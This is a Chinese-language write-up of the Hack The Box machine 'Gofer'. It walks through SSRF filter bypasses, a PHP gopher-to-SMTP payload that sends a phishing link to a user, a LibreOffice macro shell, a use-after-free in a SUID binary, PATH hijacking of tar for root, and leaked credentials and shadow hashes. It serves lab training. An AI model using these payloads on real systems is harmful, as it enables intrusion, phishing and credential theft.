基本信息

端口扫描

22,80,开了smb的Linux,还有被过滤的25:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ nmap -sC -sV -Pn 10.10.11.225
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-31 13:37 CST
Nmap scan report for 10.10.11.225
Host is up (0.13s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
| 256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
|_ 256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
25/tcp filtered smtp
80/tcp open http Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to http://gofer.htb/
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-07-31T05:39:01
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.02 seconds

80

需要加hosts:

1
10.10.11.225 gofer.htb

SMB

smb匿名访问,backup里得到一个mail:

1
python3 ~/Tools/impacket/examples/smbclient.py miao@10.10.11.225 -no-pass

查看邮件内容,提到Jocelyn容易被邮件钓鱼,libreoffice odt格式,并且提到网络代理现在正在做限制访问

mail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
by gofer.htb (Postfix) with SMTP id C8F7461827
for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>

子域名扫描

子域名扫描可以发现proxy,应该就是邮件里提到的代理:

1
2
3
4
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://gofer.htb/" -H 'Host: FUZZ.gofer.htb' -fw 20

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 165ms]
* FUZZ: proxy

proxy

添加hosts,直接访问是401,但根据前面邮件内容,限制访问是正在做,那就是还没完成,直接POST请求可以得到缺少url参数信息(小细节,post根目录还是401,/index.php才能得到信息):

url ssrf

添加url测试,确认存在SSRF:

filter

url参数还存在一些过滤,例如file协议和127,file协议可以简单的绕过:

127 ip过滤也可以通过简单的进制转换绕过:

SSRF SMTP

根据已有信息,重点是前面邮件里提到的钓鱼和内部邮件,SMTP外部被过滤但可以内部访问,那就可以通过SSRF来通过gopher协议和SMTP交互发邮件:

钓鱼目标用户根据前面邮件知道是Jocelyn,然后根据主站team页面中的全名和邮件中邮箱格式知道Jocelyn的邮件地址是Jhudson@gofer.htb

ssrf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$commands = array(
'HELO gofer.htb',
'MAIL FROM: <miao@miao.com>',
'RCPT TO: <Jhudson@gofer.htb>',
'DATA',
'Subject: SSRF HERE',
'http://10.10.14.6:7777/test_miao',
'.'
);

$payload = implode('%0A', $commands); // memisahkan tiap command dengan newline

echo urlencode('gopher://0x7f000001:25/_' . $payload);
?>

libreoffice to shell

现在可以成功钓鱼让目标用户点击我们发送的链接,下一步就是具体利用了,根据前面信息知道用的libreoffice,需要odt格式:

msf自带的几个libreoffice模块测试都不行 ,只能自己手动来,libreoffice可以直接使用shell:

参考上面的文章手动编辑分配宏,区别就是文章用的表格,odt需要是文档。制作完之后同样的发送钓鱼,得到jhudson:

user flag

jhudson用户目录得到user.txt:

信息

查看home目录发现后还有其他几个用户,运行pspy发现定时运行的curl,其中得到tbuckley账号密码:

1
2023/07/31 08:25:01 CMD: UID=0    PID=34951  | /usr/bin/curl http://proxy.gofer.htb/?url=http://gofer.htb --user tbuckley:ooP4dietie3o_hquaeti

tbuckley可以ssh登录,继续枚举,发现/usr/local/bin/notes有suid,dev组可以执行,而当前用户tbuckley在dev组:

notes

直接运行是一堆选项:

下载到本地分析:

1
scp tbuckley@10.10.11.225:/usr/local/bin/notes .

本地ghidra之类报错的话可以用这个在线的:

user

选项1 创建用户会通过malloc分配40个字节,前24是用户名,后16是角色,如果运行这个程序的是root,角色是admin,否则是user:

1
2
3
4
5
6
$ echo -e "\x69\x6d\x64\x61"
imda
$ echo -e "\x6e"
n
$ echo -e "\x72\x65\x73\x75"
resu

选项2 就是show user info:

选项3 删除用户,只是free,没有清空(重点):

notes

选项4 创建笔记也是通过malloc申请40字节内存,和前面user申请的大小一样(也是重点),选项5就是显示创建的笔记,选项6还没实现,选项7是删除:

backup

选项8是backup,首先判断用户是否是admin,通过后使用tar进行备份,注意tar没有指定绝对路径:

提权 & root flag

分两部分,第一部分是利用UAF成为admin,第二部分是backup劫持tar

UAF

所以二进制利用就是类似UAF的方式,因为user和note的size相同,user被释放后note再申请相同size的内存,得到的是同一地址,整个流程大概这样:

  • 首先创建一个用户。
  • 这将使用 malloc 在内存中分配 40 个字节,并将用户名放在前 24 个字节,角色放在最后 16 个字节。
  • 删除用户 (漏洞就在这里)
  • 它释放分配的内存,但没有将指针(指向为用户分配的内存)设置为空。因此,即使它被释放,它仍然指向分配的内存。
  • 写个笔记。
  • 这再次调用malloc分配40字节。和前面的malloc一样,会分配相同的区域。我们的用户在那里。
  • 使用这个,我们可以写入我们的第一个指针仍然指向的内存,并使用如下注释修改用户角色(24个A):AAAAAAAAAAAAAAAAAAAAAAAAadmin
  • 现在可以调用 show user info 来确认这一点,

backup

然后可以使用backup来运行tar,因为tar没有使用绝对路径,基础的路径劫持:

1
export PATH=/tmp/miao:$PATH

root flag

我们的命令被成功执行:

shadow

1
2
3
4
5
root:$y$j9T$nDuW.3vSoMpbgISVomFz40$s8PL3BYhQ5HJINwYWlXvYKi9NnEt5KpMXlf3O0jHSx4:19473:0:99999:7:::
jhudson:$y$j9T$O6XZVpGdd39Y3B0Qp9CY61$.yB.uWO1PxZdDWfWB6iMqeGv63HMQXM.uQIfVo0TfQ7:19299:0:99999:7:::
jdavis:$y$j9T$MWpAazKnpmOMo4DbZ9J40.$/lsXfhbM1t/kBxFQ7x1EVyJqKBSnnVfyUMtqjk8hYH3:19299:0:99999:7:::
tbuckley:$y$j9T$lgIfer5W5WyVWLfwzpDlu0$xpToiOURzOsTVzfgX6sgl1dNzqq7334cGlzKNm.h7T9:19299:0:99999:7:::
ablake:$y$j9T$bLmJdnLApO3jfWtDGHpi60$1lLmLhhfVRQeXUDOssZ2YP46pXPg0rWWrUCaE7LlDTA:19299:0:99999:7:::

参考资料